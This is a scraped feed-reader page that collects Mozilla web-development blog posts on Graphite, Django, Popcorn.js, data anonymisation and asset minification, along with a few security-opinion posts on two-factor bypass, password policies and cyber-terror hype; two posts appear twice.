13620 items (0 unread) in 75 feeds
Watchfire Application Security Insider
sirdarckcat
Google Online Security Blog
Switch/Twitch
mybeNi websecurity
cat slave diary
Alex's Corner
Billy (BK) Rios
Chris Shiflett
christian's weblog
GNUCITIZEN
The Spanner
hackademix.net
Ruby on Rails Security Project
It's a shampoo world anyway
ha.ckers.org web application security lab
Yet Another Infosec Blog
PHP Security Blog
Sunnet Beskerming Security Advisories
Disenchant's Blog
Sylvan von Stuppe
Larholm.com
Jeremiah Grossman
Anurag Agarwal - Application Security Evangelist
Ivan Ristic
omg.wtf.bbq.
Tactical Web Application Security
.:Computer Defense:.
tssci security
Plynt Penetration Testing Blog
Security Retentive
Schneier on Security
Rational Survivability
terminal23
1 Raindrop
hiredhacker.com
Matasano Chargen
Michael on Security - Musings on Information Security
Fortify blog
GDS Security Blog
Vodun.org
Mark Curphey - SecurityBuddha.com
Liminal states
Security Ripcord
IBM Internet Security Systems Frequency X Blog
extern blog SensePost;
Zero in a bit
Related tags: Application [+], Sec [+], App [+], Development [+], 2.0 [+], the [+], and [+], SOA [+], Problem [+], Scanners [+], Firewalls [+], Security [+]
What is persona.org?
Persona.org is where you manage your online identity in a safe and simple way!
Why should I use persona.org?
We don’t sell your personal information to third parties and we enable you to connect and control your online services by using different identities.
Where can I find out more information?
Follow updates at [https:] or the code on Github at [https:].
Two months ago, the former Flux team had an offsite where we played with lasers.
But I also gave a talk on browsers internals. This is just an introduction but it should give web developers a better understanding of this black box that we work with everyday.
Slides are also available. Since I’m not smart enough to hack on browsers, I heavily rely on other people’s writings to document myself. Take a look at those resources to get into the details.
If you speak French, you can watch the original version of the talk that I gave at Paris-Web last year.
Last night we launched http://l10n.mozilla.org
Like all major Open Source projects (for example, Gnome, KDE) the place to go if you want to contribute with translation work is to go to l10n.domain.name.
The codename for the project is “Elmo”. code here and alongside the new domain, we also launched a major re-write of the overall design and with some new significant feature additions. In particular the team pages which is hopefully the place to start. If you’re in a team (aka. a locale, a language) you now get a neat and organized dashboard. For example, the Russian locale team page. Now, you get everything (hopefully) you need in one single page broken down by project (for example Thunderbird), Bugzilla bugs and web translations.
At the moment this new site’s purpose isn’t perfectly tuned. It’s a powerful dashboard for getting deep into actual translations and statistics about code changes and sign-offs. It’s also a landing page or portal for all potential aspects of language contributions. Having this new re-design and a fresh wind blown into it will hopefully spur us to innovate and let it evolve the way it needs to evolve.
Live* from New York, it’s Friday Morning!
* Recorded with no audience. Laugh track may be used.
This week’s special guest on Better Know a WebDev, Michael Kelly!
What do you do at Mozilla?I work on engagement campaigns, like Firefox Flicks and Firefox Affiliates. I also work on the snippets service, which powers the small messages you see on about:home in Firefox. Most of my work is in Python on the backend side of our Django-based sites.
Any fun side projects you’re working on?
Most of my side projects are mediocre javascript games. I also have a few smaller things on my Github account.
How did you get started in web development or programming?I got started with programming when I was around 8 years old, when my brother got a copy of ZZT installed on our home computer. ZZT is awesome! Not only does it come with a set of cool games to play, it lets you make your own games and program objects to do all sorts of cool things, like teaming up against the player, sending the player on a quest, or controlling a role-playing-game simulator.
I got into web development specifically when I was a teenager and learned HTML. I would eventually learn PHP and start making interactive sites in my spare time, which landed me a job for my Computer Science department in college working on their website.
How did you get involved with Mozilla?Unlike a lot of Mozillians, I didn’t start off as a contributor. I got involved with Mozilla when they showed up at a job fair at my university. They were the only web-focused company there, and I rushed to start talking to them about the side projects I was working on. That landed me an interview, which led to a job after I graduated a year ago.
What’s a funny fail or mistake story you can share?Once, while interning at Electronic Arts, I was working on a feature that made a database query once for every page across the Sims 3 website. We had set it up to be heavily cached, but I still managed to take down the entire Sims 3 site for a day. Oops!
Turns out, my database query, which we thought was running directly on the database, was actually running through Hibernate, the ORM we used on the site. This was frightfully slow, and caused all of our database connections to freeze up due to the massive amount of traffic the site got. Luckily, all that caching helped free up the site in the afternoon, and we were able to push a fix that night.
I’m very proud of how Mozilla was able to get together with other companies across the internet and join the blackout on January 18th to protest SOPA and PIPA. My part to play was to create the snippet that blacked out about:home and sent our message to more than 30 million Firefox users.
The coolest part was that we were able to get this snippet and the blackout pages for other Mozilla sites ready in the space of a day. It was awesome to see how quickly everyone was able to mobilize in order to help stop SOPA and PIPA from censoring the web.
What’s coming up that you’re excited about?I’m really excited about Gladius, a Mozilla-developed 3D game engine for the browser. It provides a lot of the plumbing needed to get a game off the ground in Javascript. I’d love if there were a similar effort going on for 2D game development as well, given the positive response we got to BrowserQuest.
Other cool things to watch for are the Gamepad API, Pointer Lock API, and Full Screen API, all of which are helping make open web-based gaming a reality.
What question do you wish you’d been asked?
I wish I’d been asked about what games I am currently playing. 
The answer, by the way, would be “The Longest Journey” by Funcom, “Minecraft” by Mojang (of course you never really stop playing Minecraft), and (in 2 days when it releases) “Fez” by polytron.
Next time we rewrite all of our websites, what will the platform be?
We use Graphite in Web Development to track metrics on our sites. For the Marketplace and Addons team, it has been a real eye opener into the state of our sites.
One thing that I’ve wanted to add is information on when deployments occur as these are often critical periods that can trigger changes in the graphs. Sure enough, this has all been done before and covered in a blog post. Following on from that blog post, here’s how I added this for the Marketplace.
First, I added a management command to django-statsd that allows you to easily send a ping to Graphite for a specific key. The value of the key is set to be a UNIX time stamp. Once that was in place I altered our deployment scripts so that on each update they send a ping with the key “update”:
python2.6 manage.py statsd_ping --key=update
Then each time a server is deployed that key gets added to Graphite.
Next, I altered our graphs so that they show this ping as a vertical line. That’s using the command drawAsInfinite, for example:
drawAsInfinite(stats.timers.addons-dev.update.count)
Our development server updates on every commit. In other words, it continually deploys all the time. This is the graph for the development server, and you can see the large number of small commits we had this afternoon (each commit is indicated by a pink line):
A more realistic view is our production server, where you can see our Thursday afternoon push in context (each push is a pink line):
Adding this data is crucial to helping the Marketplace get closer to continuous deployment in the coming months.
We use Graphite in Web Development to track metrics on our sites. For the Marketplace and Addons team, it has been a real eye opener into the state of our sites.
One thing that I’ve wanted to add is information on when deployments occur as these are often critical periods that can trigger changes in the graphs. Sure enough, this has all been done before and covered in a blog post. Following on from that blog post, here’s how I added this for the Marketplace.
First, I added a management command to django-statsd that allows you to easily send a ping to Graphite for a specific key. The value of the key is set to be a UNIX time stamp. Once that was in place I altered our deployment scripts so that on each update they send a ping with the key “update”:
python2.6 manage.py statsd_ping --key=update
Then each time a server is deployed that key gets added to Graphite.
Next, I altered our graphs so that they show this ping as a vertical line. That’s using the command drawAsInfinite, for example:
drawAsInfinite(stats.timers.addons-dev.update.count)
Our development server updates on every commit. In other words, it continually deploys all the time. This is the graph for the development server, and you can see the large number of small commits we had this afternoon (each commit is indicated by a pink line):
A more realistic view is our production server, where you can see our Thursday afternoon push in context (each push is a pink line):
Adding this data is crucial to helping the Marketplace get closer to continuous deployment in the coming months.
If you’re like me, you enjoy doing lots of quick CRUD (create/read/update/delete) applications that are highly experimental, highly volatile and require low commitment until you know where you want to go with it.
Having worked with various web frameworks (Django, Rails, Sinatra, webpy, Struts, Express, Flask, and probably some other ones I’ve missed), I find that as a coder, one needs a nice balance of getting code up and running on a local machine and not having to organize and plan too much when in “play mode”. By “play mode”, I mean MTAWGSBWATL a.k.a. “Maybe This App Will Go Somewhere But Worry About That Later”.
This kind of mentality is very useful for both beginners and those who are more advanced in their programming career. Think of it as taking a bunch of clay and molding it until you feel that you have the right fit. The last thing the experimental coder needs is to think about is the “ideal organization” of their code and more about getting it running on a local webserver as soon as possible.
I find two frameworks quite efficient at getting this done – Sinatra and Flask. In this post, I’ll be specifically talking about Flask, BrowserID and MongoDB.
Now a quick summary of these three things:
Why would one use these for an application, especially one that is prototypical? First, because we don’t want to over-engineer our code right now. Second, because we don’t want to write our own or maintain an authentication platform that requires us to either handle anything beyond a user’s session, uses a third-party service (such as Twitter or Facebook) which some people may not feel comfortable in signing in with and we want to get things done as fast as possible. Finally, because there’s no point in planning a relational database with something like MySQL or PostgreSQL when you may not even know what you are designing. You may not even know what you’re doing! So keep it simple and to the point.
For my examples, I started with Lexicrypt. Lexicrypt is a fun, small project that generates encrypted messages as images. It took me about a week to get the first iteration up and running on a publicly accessible server. Your mileage may vary – if you’re experienced in Python, this may take you about the same amount of time or less. If this is your first time, don’t worry about taking longer – you’ll eventually find your comfort zone and your modus operandi for developing personal scaffolds of your projects.
Shortly after I created Lexicrypt, I decided to make a small photo service that enables you to sign in, upload photos, tag and favourite them. Instead of starting from scratch I took the scaffold of Lexicrypt, popped out the encryption functionality and replaced it with the photo functionality. This enabled me to go from idea to deployment for the first iteration within a weekend!
To view the source for these projects and get an idea of their similarities and differences you can check out the Github repositories at [https:] and [https:].
As for your rapid prototyping endeavours, good luck and continue to code and code some more. Remember, the process is not only a way for you to learn how to code more efficiently and collaborate with others as you gain more experience, but it is also a way for you to learn more about yourself in the development of your application.
Here is a video of me giving a lightning talk on the subject:
If you’re like me, you enjoy doing lots of quick CRUD (create/read/update/delete) applications that are highly experimental, highly volatile and require low commitment until you know where you want to go with it.
Having worked with various web frameworks (Django, Rails, Sinatra, webpy, Struts, Express, Flask, and probably some other ones I’ve missed), I find that as a coder, one needs a nice balance of getting code up and running on a local machine and not having to organize and plan too much when in “play mode”. By “play mode”, I mean MTAWGSBWATL a.k.a. “Maybe This App Will Go Somewhere But Worry About That Later”.
This kind of mentality is very useful for both beginners and those who are more advanced in their programming career. Think of it as taking a bunch of clay and molding it until you feel that you have the right fit. The last thing the experimental coder needs is to think about is the “ideal organization” of their code and more about getting it running on a local webserver as soon as possible.
I find two frameworks quite efficient at getting this done – Sinatra and Flask. In this post, I’ll be specifically talking about Flask, BrowserID and MongoDB.
Now a quick summary of these three things:
Why would one use these for an application, especially one that is prototypical? First, because we don’t want to over-engineer our code right now. Second, because we don’t want to write our own or maintain an authentication platform that requires us to either handle anything beyond a user’s session, uses a third-party service (such as Twitter or Facebook) which some people may not feel comfortable in signing in with and we want to get things done as fast as possible. Finally, because there’s no point in planning a relational database with something like MySQL or PostgreSQL when you may not even know what you are designing. You may not even know what you’re doing! So keep it simple and to the point.
For my examples, I started with Lexicrypt. Lexicrypt is a fun, small project that generates encrypted messages as images. It took me about a week to get the first iteration up and running on a publicly accessible server. Your mileage may vary – if you’re experienced in Python, this may take you about the same amount of time or less. If this is your first time, don’t worry about taking longer – you’ll eventually find your comfort zone and your modus operandi for developing personal scaffolds of your projects.
Shortly after I created Lexicrypt, I decided to make a small photo service that enables you to sign in, upload photos, tag and favourite them. Instead of starting from scratch I took the scaffold of Lexicrypt, popped out the encryption functionality and replaced it with the photo functionality. This enabled me to go from idea to deployment for the first iteration within a weekend!
To view the source for these projects and get an idea of their similarities and differences you can check out the Github repositories at [https:] and [https:].
As for your rapid prototyping endeavours, good luck and continue to code and code some more. Remember, the process is not only a way for you to learn how to code more efficiently and collaborate with others as you gain more experience, but it is also a way for you to learn more about yourself in the development of your application.
Here is a video of me giving a lightning talk on the subject:
Gizmodo reports:
New “Man in the Browser” Attack Bypasses Banks’ Two-Factor Authentication Systems
Except there is nothing new about this attack. OWASP documented it in 2007 and it was widely known that malware writers used it to bypass 2-factor authentication.
More from Gizmodo:
Since this attack has shown that the two-factor system is no longer a viable defense, the banking industry may have to adopt more advanced fraud-detection methods
Given that this has been going on for more than 5 years, it’s obvious that banks already have adopted more advanced fraud detection methods.
So why are they forcing you to carry around tokens and one-time passwords that make it awkward and uncomfortable to use your own money as you wish?
Because with only few exceptions, banks’ security guys are not interested in making your life comfortable. The more you suffer, the more you think they are secure.
Maybe it’s time to ask for accountability? Which of their so-called security features is really for security, and which is for CYA or ‘make-the-regulator-happy’?
This sums up everything that is wrong with the “password policy” theme. From the t-mobile web site:
There is no way any reasonable person can choose a password that fits this policy AND can be remembered (note how they are telling you that you CANNOT use special characters. So users now have to bend according to the lowest common denominator of their bad back-end database routine and their bad password policy).
I’m sure some high-paid consultant convinced the T-MO CSO that stricter password policy is the answer to all their security problems. Reminds me of a story about an air-force security chief that claimed 25% increase in security by making mandatory password length 10 characters instead of 8, but I digress.
Yes, I know my habitat. No security executive ever got fired for making the user’s experience more difficult. All in the name of security. Except it’s both bad security and bad usability (which, incidentally, correlate more often than not, despite what lazy security ‘experts’ might let you believe.
I’ve ranted about this before.
Except it won’t be.
I’m assuming the reporter who quoted the statement in the title as coming from the Davos “Global Shapers” group was trying to make his own headline. Hey, that works (I even used it myself). But this is not the first time we’ve been warned about the Armageddon that is cyber terror, and it’s time somebody called bullshit on it.
Now don’t get me wrong, I’m not mother Teresa. I work in IT security, and have been known to scare people now and then with the “this is what might happen to you if you won’t fix your security”. Most times I’d like to think I was calling it the way I saw it, but I’m sure more than once people that were listening to me thought I was exaggerating. And probably much more than once, I was. But this is not an “exaggeration”. It’s something totally different.
Have you been terrorized? I bet you have. You don’t have to know someone who was killed by a suicide bomber; it’s enough if you think back to when the school bully tried to take your lunch. That was terrifying. And terrorizing. You thought bodily harm will come to you, and this is why “terror” works so well: it’s scary.
Is ‘cyber terror’ really that scary? Well, lets compare. Many of us have been “victims” of cyber terror. You probably visited a web site that was defaced by political hacker wannabes. Were you terrorized?
We’ve all heard about the attacks in Estonia. That was the most effective cyberwar to date. But did anyone died? Lets compare it to the war (actual war) in Georgia. Again Russia clashing with a neighbor, but this time people died; lost their homes; forced to move their lives elsewhere. I’m sorry, but that’s not the equivalent of having to reformat your computer or losing facebook connectivity for 24 hours.
War is war: people die, suffer bodily harm, have their lives change. I’m not against the term “cyber-war” or “cyber-terror”, but can we put it in proportion please?
So no, the next ‘cyber war’ or ‘cyber terror’ attack won’t be worse like 9/11. It won’t be even mildly comparable to 9/11. Unless it kills thousands of people, in which case there will be nothing “cyber” about it.
Welcome to another thrilling installment of your favorite, and only, recurring series on this blog: Better Know a WebDev!
This is a special week, as we’re featuring someone who just moved from web development into a product role with our Add-ons team. Give a big welcome and congratulations to Greg Koberger!
For the past year and a half, I’ve been a web developer working on the Mozilla Add-ons site. I wrote both front- and back-end code, and every once in a while I managed to sneak in a little bit of design work. I recently traded in vim for Google Docs, however, and made the switch to a more product-centric role. I still get to work with the same people on the same projects, however I’ll be writing specs and designing flows rather than writing code.
Any fun side projects you’re working on?One of most recent (and relevant) mini side projects is a Firefox Quine. It’s not a true quine, since it loads some external assets (like jQuery). However, the concept is the same: if you were to copy and paste the code that makes up the logo, it would output itself. We’re currently getting the design printed on t-shirts.
How did you get started in web development or programming?I was lucky—my parents always made sure I had a good computer. I started by tinkering with HyperCard, and eventually decided to try making websites. I still remember how asking my parents for my first hosting account went: “Why do you need other people to see it? Can’t you just play with it yourself on your computer?” Luckily they finally agreed, and I started teaching myself PHP and JavaScript.
How did you get involved with Mozilla?While in college, there was an alumni talk about working at Mozilla. I missed the talk, however I emailed the guy after since I was curious. He encouraged me to apply, and I flew out to California to interview. I fell in love with the company. The people I interviewed with were awesome, and I was amazed by the company culture. Everyone just wanted to make the web a better place.
What’s a funny fail story or mistake you can share?Back when I first started at Mozilla, I managed to delete all my private keys. So, some of the other webdevs set up a tissue-box-based “Computer School Fund” for me. I made $20 for deleting my private keys, so I like to think I got the last laugh.
Back in November, awareness of SOPA was just starting to pick up. The day before the initial hearing, a bunch of us decided to try to raise awareness. It was incredibly last minute, but we knew we had to do something. We could get the message out via the snippet on about:home, which serves about 300MM requests a day. However, we had nowhere to link to. SOPA was new, and there wasn’t a definitive source with a few easy-to-digest bullet points. Plus, we couldn’t really send millions of hits to a website without giving them fair notice. So, we made our own. I sketched it out on paper and wrote out the copy. Then, as I designed it in Photoshop, my fellow webdev Potch sat next to me and wrote the code. We didn’t even have time to share files; he just watched what I was doing and wrote the code. It took us about an hour—which is all we had, since it still had to be deployed and tested. We couldn’t have gotten it out without help from all the different teams at Mozilla—everyone from legal to QA to IT to webdev worked late to make it happen. It was a huge success. We got the word about SOPA out to millions of Firefox users within 24 hours. We were able to use the same site a few months later for the SOPA blackout.
What’s coming up that you’re excited about?I’m really excited about my new product management role. I love new challenges. It’s a great time to start this job, since a lot is going on with AMO right now. “Marketplace” (apps and add-ons combined, with the ability to charge) is going to be a huge project in the upcoming months. I can’t wait to see what our team can make in the upcoming months.
What software do you use day-to-day for the work you do?My main machine is a 13″ Macbook Air running OS X Lion. I use vim for writing code, which all ends up on GitHub. I rely heavily on Firefox and Firebug for testing and debugging. I spend a good amount of time in Photoshop, mocking things up before I start coding. I couldn’t survive without either Rdio or Pandora playing in the background.
It seems like nowadays China is the immediate suspect when it comes to hacking attempts or cyber espionage. It’s therefore interesting to know that they are suffering from as much internal attacks as anyone else.
The ‘cyber security china 2012′ is organized with ISC2, which is typically a good indicator for interesting speakers and content (at least, that’s been my past experience in other countries). The description shows that the Chinese are worried about the same things we all are:
With support from Ministry of Public Security of China, and working with ISC2, ITU-IMPACT and ISFS Hong kong, Cyber Security China 2011 is successfully organized in March 24-25 in Shanghai, China. The 2011 event convened 130+ delegates from global and local cyber security authorities, government, law enforcement agencies, users and security vendors, and mainly explored the solutions against evolving cyber threats and attacks, and how to fight the cyber crimes through public-private-partnership.
More information here. 
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
There are lots of ways to measure the performance of a site. On addons.mozilla.org we measure a few of them: how long it takes to render pages, the cache performance and responsiveness for content delivery networks globally. But with the advent of the navigation timing API in Firefox 7 we’ve been able to add the most important measurement of all – the actual performance in the browser.
Along with a few other Mozilla sites, we’ve been using pystatsd and Graphite for a while. This produces useful graphs of the site health and performance. For example, this graph plots HTTP responses we serve out from Python (this is not the amount of traffic to our site which is much larger).
To facilitate using the timing API we wrote a module between statsd and Django called django-statsd that, amongst other things, provides a way to interface between the browser and Python backend. The library has support for boomerang, a great front end timing library. I quickly wrote a much simpler service called stick, which sends a small subset of timings that we want.
Using stick is straightforward – once you’ve setup your Python backed and included your JavaScript, you call it in your page. For example:
stick.send('https://to.your.site/record')
The API returns with timestamps for each of the events. To give us meaningful numbers, we then subtract the timestamp for each of the events from navigationStart so we can tell the timings relative to that start point. And here’s the end result in our Graphite server:
For internal sites we collect 100% of the data. However, on our live site we get quite a lot of traffic, so we’ve rolled this out by collecting only 1% of traffic. We’ll start increasing this percentage once we are confident this won’t be causing problems. We’ll also be adding it to the about:addons page which gets quite a bit of traffic.
We’ll be tweaking things to ensure we pass through the right numbers and interpret them correctly. The amount of data is probably too low to be useful, right now, but I can’t help but wonder what the peak around 12.30pm today was…
Richard Stiennon writes:
I have only one security related prediction for 2012 and that is that we are in for a year that will make 2011 look tame in terms of major targeted attacks.
He gives the 2011 examples of the break-in to Sony playstation network and an attack on Stratfor (a defense intelligence organization). Here’s one from yesterday: A saudi attacker published the details of credit cards (and other personal information such as I.D numbers and address) for hundreds of thousands Israelis.
Going to be a fun year!
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
For most people who work with computers for a living, holidays are a time for family… and providing endless tech support. As I was huddled over a half working computer, someone asked what an add-on was. I spend most of my time working with and on add-ons — so the concept seems obvious to me. As I found out this past Christmas, it’s not to everyone. My otherwise-fairly-computer-literate family had a hard time understanding where the browser ended and websites such as Facebook or Google started — so explaining the concept of add-ons was not nearly as easy as I thought it would be.
While over 85% of people using Firefox have at least one add-on installed, most people still don’t really know what an add-on is or the possibilities they provide. To fix this, the add-ons group teamed up with Mozilla Creative and an outside firm, Poke, to create a short video explaining what add-ons are and what they can do.
After seeing the video, we knew we had to do something awesome with Popcorn.js.
Watch The Video
On the page, click “Learn More” to play the video.
I recommend watching it in Firefox, since we interact with the browser in ways we couldn’t with Chrome. You can also view the video directly inside Firefox, by going to Tools > Add-ons > Get Add-ons > Click “Learn More” / “Learn More About Add-ons”.
Popcorn.jsFor anyone unfamiliar, Mozilla’s Popcorn.js makes it easy to interact with video online using JavaScript. For anyone who has worked with jQuery or a similar library, it’s a breeze to pick up. Popcorn.js is the code part of Mozilla’s Popcorn, which is a larger project that aims to supplement video and audio with rich web content.
Setting up Popcorn.js is incredibly simple:
var pop = Popcorn('#promo-video');
Popcorn.js has a plugin called code, which lets you run arbitrary code when the video hits certain points.
pop.code({'start': start, 'end': end, 'onStart': function(){…}, 'onEnd': function(){…});
That’s basically all you need to know to get started with Popcorn.js. Everything else we did used regular JavaScript.
Like I mentioned, we only used one of the many plugins. Popcorn.js is incredibly powerful, and our video barely scratched the surface of what Popcorn.js plugins can do.
Showing Add-onsWe started by making add-ons fade in on the right side of the video when they are mentioned.
Note: You will only see this in the video if your browser window is wide enough.
We’re off to a good start. So far, we have add-ons showing up when they’re mentioned in the video. Now, wouldn’t it be cool if the video could interact with Firefox?
At one point the video talks about Personas, which are basically skins or backgrounds for Firefox. Since it would be incredibly annoying if any site you visited had the ability to skin your Firefox, the ability to trigger a preview is whitelisted to just the Mozilla add-ons sites.
Note: You can add other sites to this whitelist by going into Preferences > Security > Exceptions.
We thought it would be fun to style the browser with the Persona being mentioned — especially since we’re the only site that is allowed by the browser to do this. We simply fire an event when the video hits a certain point. To make sure the Personas are displayed instantly, we pre-load the Personas when you first click “Play”.
Later in the video, we see a plane fly across the screen. The papers and other items on the desk start to blow away as this happens. If you scroll down a bit, the add-ons below the video also start to flutter and are eventually caught in a JavaScript-y wind and blown away.
This is done using -moz-animation and -moz-transform: matrix(). Each add-on is given a class of “flutter” (starting at a staggered interval), and the add-ons flutter back and forth until they eventually “blow away”.
This isn’t Firefox-only; I just left out the Webkit code in the example for the sake of brevity.
In the next scene, both the backdrop in the video and the add-ons on the site drop back into place.
During the scene with the cameras, the page flashes as though a picture with a flash was being taken. The elements are simply hidden, then faded back in.
When the video talks about how add-ons can translate a page, some of the text on the page is translated along with the text in the video. (Note: This only works if you have fewer than three add-ons installed or you watch using this link. Otherwise, the top bar is not displayed.)
We learned a few things along the way. We used popcorn-complete.js, which we didn’t realize loaded a few CSS, JS and SWF files off of popcornjs.org’s servers when the file was loaded. We mistakenly DOS’d popcornjs.org, which in turn made the add-ons site load slowly. Thanks to Jon Buckley and Rick Waldron, we were able to figure out what was going on and push a fix fairly quickly.
I also owe Chris and Krupa a big hug when I get back to the Mozilla office — they helped me out a ton by finding and fixing a bunch of bugs as we were pushing to production, since I was an unfortunate 30,000 feet in the air as the video was going live.
Looking AheadI have no doubt that Popcorn.js is going to become huge as HTML5 video takes off. News sites will use it to show relevant links and tweets, fashion sites will link to online stores as a celebrity is shown wearing a dress or shirt, video sites will provide closed captioning and annotations, media sites will use it to sync viewing across multiple computers — the possibilities are endless. I cannot wait to see what Popcorn powered videos people make next.
Watch The Video
On the page, click “Learn More” to play the video.
Since the add-ons site is open source, be sure to view the code if you’re interested.
As for my family: not all is lost. The next morning I got an excited text from my cousin, who had watched the video. “Guess what I just did! I installed one of those picture addons on the top!” Sure, it pains me a bit that a Justin Bieber Persona now graces her Firefox — but hey, it’s a step in the right direction.
I’ve been working on a Django project that is going to be squeezed in as an external application under Pootle which is our tech of choice for the Mozilla Verbatim site which is where all awesome translations happen for Mozilla web projects. (translations for Firefox, Thunderbird, etc. is done by another project which I’ll blog about more in the next couple of weeks).
In Pootle, there are “Profiles” and that’s where the name and quick stats on contributions is stored. However, what I needed to do was to actually go through every “Suggestion”, “Submission” and “Review” and figure out who has contributed what on what project and language. Every such model has an overridden object manager that always joins on the “Users” model thus causing a ‘INNER JOIN’ on every simple data query. Thus this would build up an accurate page of who has contributed to what on the fly.
There are 14 projects, 99 languages, 847 users, 37,681 suggestions (and reviews) and lastly 127,226 submissions. The task is to group these first by language and then by project and lastly for each project, list the contributors names in alphabetical order. After some getting used to the data model and where things are located this wasn’t difficult. I built a prototype that visually represents this and showed it to the stakeholder who wanted this built.
The only problem is that due to the way the Django ORM and Pootle does this is that this takes on average: 11 seconds and involves 2,544 SQL queries. Yikes!
After some optimization (helped by my colleague Rob Hudson’s wonderful django-debug-toolbar) I was able to turn 11 seconds into 10 milliseconds (ie. one thousand times faster) and reduce the number of queries from 2,544 to 7! All it takes is just having to lessen some of the convenience of Django’s otherwise super practical ORM and get closer to the “SQL of things”. The code doesn’t express anything in raw SQL and everything is in Python with some very specific loops.
Why 7 queries and not 1, you might wonder. The reason is that the data I need to get to is spread across 7 different tables. Because some of them are large and joins are difficult what I do instead is pick only exactly what I want and need and nothing more. The logic kinda goes like this:
I think the lesson here is that if your structures are big but not so big that you need a map/reduce job then getting closer to the raw SQL queries and doing the structure juggling in memory, you don’t need to replace your relational databases with NoSQL or typed raw SQL. Django’s ORM is fantastic. It’s slow because it chooses to be convenient but if it needs to be fast it’s just a few slight API calls away. If you’re curious, check out the code on Github.
This is the second in a series of posts, focusing on issues around open sourcing your Django site and data privacy in Django.
You’ll end up with production data in your Django database and that will likely contain different kinds of data such as: configuration data, required basic data (categories for example), collected data and personal user data. There’s a couple of reasons for taking that production data and copying it off your production servers:
For the first case, it’s nice to prepare a minimal copy of the database that contains key data. For example, for those wanting to develop or contribute to addons.mozilla.org we have Landfill by Wil Clouser.
Django comes with a nice facility for loading data, fixture dumping and loading. This can be used to pull data out of your database and then reload it. However the built in Django dumpdata dumps all the records for your model (depending upon your default object manager). That might not be what you want for this scenario. So a useful utility for dumping just the records you want is provided Django fixture magic written by Dave Dash.
A standard dumpdata looks like this:
manage.py dumpdata users.UserProfile
And will dump every UserProfile. By contrast:
manage.py dump_object users.UserProfile 1
Will just dump the UserProfile with primary key of 1. Django fixture magic also has a few other useful things such as merging and reordering fixtures.
This allows you to trim a set of fixtures from your live database down quickly. Then developers or contributors can load the key parts of the database that they need from those fixtures.
Anonymising the databaseSending the production database downstream to internal developers or internal test sites is a pretty common use case. This process does not require a complete clean of the database, but it does require some cleaning of database. If you stored credit card data, for example, you’d never want to copy that off your production database.
At Mozilla we use an anonymising script, written by Dave Dash again. There are few options: to truncate, nullify, randomize or selectively delete. The format is a simple YAML file, for example:
tables:
users:
random_email: email
nullify:
- firstname
This is a snippet from the config script for addons.mozilla.org.
When the IT copies the databases down from production, this script is run against the database. Ensuring that when us developers access the backups to investigate certain issues, we’ll be getting the bits we want and not the bits that might expose user data.
In the next blog post we’ll look at logs and tracebacks.
Surely you’re convinced too now that developing for the mobile web is important. It certainly is for us here at Mozilla. Mobile web development isn’t just about making a ultra-slim stripped down version with no images or Javascript widgets. It’s also about taking regular full powered web applications and making stepwise adjustments to make sure they work responsively on all mobile devices which means everything from tablets to regular cell phones over 3G.
There are numerous good guides such as this for Designing for Mobile Devices and there are great add-ons for Firefox such as the User Agent Switcher. And don’t miss Jason’s wonderful blogs from the archive part 1, part 2, part 3 and part 4. But ultimately, nothing beats actually testing it on a real physical device.
That’s where localtunnel (by Jeff Lindsay) comes in. What it does is that it binds a local port (e.g. port 8000) on your desktop to a real domain name (e.g. xyz123.localtunnel.com) all over SSH. So, you start your local Django server locally and then start a local tunnel and after waiting 1-2 seconds you get a real domain name to type into your iPhone, Android, Nokia smartphone, whatever and you can test away as much as you like.
Granted, you can use it not just for mobile device development but for anything such as telling a colleague over IRC to visit your site running locally on your laptop. And also, if you are in an office where you connect to the same local WiFi with your laptop as you do with your mobile device then you can just use a local IP address. But that’s often not the case especially when working with people in different locations.
An added, yet strange, benefit with using localtunnel to test your mobile device is that it is naturally slow. That’s because the traffic has to go via SSH over the network and your local network won’t be as fast as a real data center. However, in real life, the network connection will be slow when using a mobile device so it’s important to see how your mobile web app behaves with a limited bandwidth.
Before pushing our CSS and JavaScript assets to our CDN, we run them through jingo-minify to concat and minify the files, as well as cache bust them and any resources (such as images) contained inside them. Turns out, this was by far the slowest part of our push process — it took between 80 and 160 seconds for addons.mozilla.org (AMO) assets. It wasn’t a huge priority, since most of the time this happens in the background and nobody really notices. However, I wanted to see how fast I could get it.
Note: All times are based on AMO being compressed on a MacBook. On our build server, those 80 seconds took about 160 seconds. Most times are averages and/or estimates, and are based on an initial 80 seconds.
This was the low hanging fruit. YUICompressor is slow. We managed to cut off over half our original time by switching to UglifyJS for JavaScript and clean-css for CSS, both of which are written in Node. This switch means less errors (we were getting a lot with YUI), smaller files and much faster build times — and none of us are sad to see our Java dependency disappear. (I benchmarked all our options before we chose them. If you’re interested, you can run them yourself.)
Unlike YUICompressor, UglifyJS builds an abstract syntax tree, compresses the AST, then converts the whole thing back to (minified) JavaScript. So far, this has meant that UglifyJS has been much more resilient against our sometimes-misformed JavaScript. Missed semicolons no longer take down the whole site’s JavaScript. The build times are about the same by my benchmarks, but the results are far superior. [JS Benchmark results]
Clean-css works much like YUI (lots of regex), which is a bit unfortunate. However, it does so much faster — 10x as fast, to be exact. [CSS Benchmark results]
Original Time: 80s
New Time: 37s
Difference: -54%
We were fetching the hash (originally the git commit id, now hash of the actual file) for the same files fairly often. By sticking the already-computed hashes into a dict, we were able to shave off a small but significant amount of time.
Original Time: 37s
New Time: 35s
Difference: -11%
When I first wrote cache busting for individual images in our CSS files, I used the image’s most recent git commit as the cache-busting hash. As it turns out, your script gets really slow when you’re looking up the history for dozens of images using GitPython. So, I switched to using a hash of the file. The end result is the same — the hash is only updated if the image is changed. However, using file hashes instead of git commits shaved a good chunk of time off our build process.
Original Time: 35s
New Time: 23s
Difference: -34%
I got down to 23 seconds, and was stuck. The biggest time sink in the process was the minifying of files, which I couldn’t do much about without touching the UglifyJS or clean-css code. Even if I wanted to, I doubted I could do much to speed either of them up. After thinking about it for a bit, I realized that there was no reason for us to be minifying every file each time. We only needed to minify the files that had actually changed. So, jingo-minify now writes the concatted file out to a temporary location, and compares it to the preexisting concatted file. If they’re the same file, we have no need to re-minify.
Since we push to preview every time anyone commits and most commits don’t modify more than one or two JS or CSS files (if any), we can save between 15 and 17 seconds each time.
Original Time: 23s
New Time: 6s
Difference: -74%
So, that’s how I managed to speed up our asset compression by over an order of magnitude — from 80 seconds down to about 6. (Note: Time is based on the script on a MacBook. On the slower build server, it’s closer to 160 seconds down to 9.) Hopefully this means much smoother pushes for AMO, SUMO and anyone else using jingo-minify to compress their assets.
